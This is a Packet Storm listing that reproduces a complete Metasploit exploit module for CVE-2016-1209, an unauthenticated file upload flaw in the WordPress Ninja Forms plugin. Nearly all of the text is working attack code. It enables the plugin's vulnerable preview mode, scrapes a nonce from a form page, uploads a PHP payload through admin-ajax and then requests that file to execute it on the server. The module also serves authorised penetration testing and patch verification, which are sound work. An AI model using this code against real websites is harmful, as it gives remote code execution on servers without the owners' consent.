Lucene search

K
packetstormRob CarrPACKETSTORM:137211
HistoryMay 27, 2016 - 12:00 a.m.

WordPress Ninja Forms Unauthenticated File Upload

2016-05-2700:00:00
Rob Carr
packetstormsecurity.com
47

EPSS

0.929

Percentile

99.0%

`##  
# This module requires Metasploit: http://www.metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HTTP::Wordpress  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'WordPress Ninja Forms Unauthenticated File Upload',  
'Description' => %(  
Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain  
an unauthenticated file upload vulnerability, allowing guests  
to upload arbitrary PHP code that can be executed in the context  
of the web server.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'James Golovich', # Discovery and disclosure  
'Rob Carr <rob[at]rastating.com>' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2016-1209'],  
['WPVDB', '8485'],  
['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']  
],  
'DisclosureDate' => 'May 04 2016',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['ninja-forms', {}]],  
'DefaultTarget' => 0  
))  
  
opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]  
register_options(opts, self.class)  
end  
  
def print_status(msg='')  
super("#{peer} - #{msg}")  
end  
  
def print_good(msg='')  
super("#{peer} - #{msg}")  
end  
  
def print_error(msg='')  
super("#{peer} - #{msg}")  
end  
  
def check  
check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')  
end  
  
def enable_v3_functionality  
print_status 'Enabling vulnerable V3 functionality...'  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => target_uri.path,  
'vars_get' => { 'nf-switcher' => 'upgrade' }  
)  
  
unless res && res.code == 200  
fail_with(Failure::Unreachable, 'Failed to enable the vulnerable V3 functionality')  
end  
  
vprint_good 'Enabled V3 functionality'  
end  
  
def disable_v3_functionality  
print_status 'Disabling vulnerable V3 functionality...'  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => target_uri.path,  
'vars_get' => { 'nf-switcher' => 'rollback' }  
)  
  
if res && res.code == 200  
vprint_good 'Disabled V3 functionality'  
else  
print_error 'Failed to disable the vulnerable V3 functionality'  
end  
end  
  
def generate_mime_message(payload_name, nonce)  
data = Rex::MIME::Message.new  
data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')  
data.add_part(nonce, nil, nil, 'form-data; name="security"')  
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")  
data  
end  
  
def fetch_ninja_form_nonce  
uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri  
)  
  
fail_with Failure::UnexpectedReply, 'Failed to acquire a nonce' unless res && res.code == 200  
res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1]  
end  
  
def upload_payload(data)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => wordpress_url_admin_ajax,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s  
)  
  
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?  
vprint_error("Server responded with status code #{res.code}") if res.code != 200  
end  
  
def execute_payload(payload_name, payload_url)  
register_files_for_cleanup("nftmp-#{payload_name.downcase}")  
res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)  
  
if !res.nil? && res.code == 404  
print_error("Failed to upload the payload")  
else  
print_good("Executed payload")  
end  
end  
  
def exploit  
# Vulnerable code is only available in the version 3 preview mode, which can be  
# enabled by unauthenticated users due to lack of user level validation.  
enable_v3_functionality  
  
# Once the V3 preview mode is enabled, we can acquire a nonce by requesting any  
# page that contains a form generated by Ninja Forms.  
nonce = fetch_ninja_form_nonce  
  
print_status("Preparing payload...")  
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"  
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")  
data = generate_mime_message(payload_name, nonce)  
  
print_status("Uploading payload to #{payload_url}")  
upload_payload(data)  
  
print_status("Executing the payload...")  
execute_payload(payload_name, payload_url)  
  
# Once the payload has been executed, we can disable the preview functionality again.  
disable_v3_functionality  
end  
end  
`

EPSS

0.929

Percentile

99.0%